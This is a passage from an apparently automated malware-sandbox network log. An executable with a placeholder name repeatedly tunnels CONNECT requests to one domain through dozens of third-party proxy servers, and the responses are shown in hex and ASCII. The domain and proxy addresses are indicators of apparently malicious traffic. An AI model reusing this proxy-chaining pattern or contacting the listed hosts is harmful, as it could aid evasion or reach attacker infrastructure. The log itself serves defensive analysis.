158	192.168.2.9	50580	172.67.182.102	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.266100883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.420089960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.9	50354	47.114.101.57	8888	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.268733025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.602086067 CET	334	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 204 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.9	50609	104.25.115.125	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.270109892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.424499989 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.9	50611	104.21.194.182	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.270216942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.424566031 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.9	50610	203.24.109.230	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.271352053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.425777912 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.9	50366	84.22.45.175	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.276634932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.9	50546	38.54.95.19	8060	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.281651974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.506901026 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.9	50428	84.39.112.144	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.282665014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.9	50635	104.24.35.152	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.284312963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.438647985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.9	50374	47.229.171.150	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.303435087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.012566090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.028251886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.185204029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.289326906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.9	50395	87.126.65.11	1388	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.303483009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.996977091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.115047932 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.9	50388	195.138.73.54	31145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.303491116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.9	50520	184.181.217.213	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.309097052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.9	50659	172.67.182.38	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.321748018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.476927996 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.9	50476	134.209.189.42	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.321751118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.613203049 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.9	50412	103.42.57.13	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.326823950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:03.089180946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.200123072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.458920002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.888586044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.242150068 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.9	50577	23.19.244.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.338800907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.9	50570	184.181.217.206	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.342937946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.9	50523	18.134.236.231	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.347583055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.639931917 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:02 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.9	50483	213.17.246.46	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.348947048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.663985014 CET	696	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Mon, 11 Mar 2024 14:21:02 GMT Content-Type: text/html Content-Length: 548 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.9	50613	92.204.134.38	52929	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.349862099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:02.903193951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.9	50683	104.23.141.196	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:02.354528904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
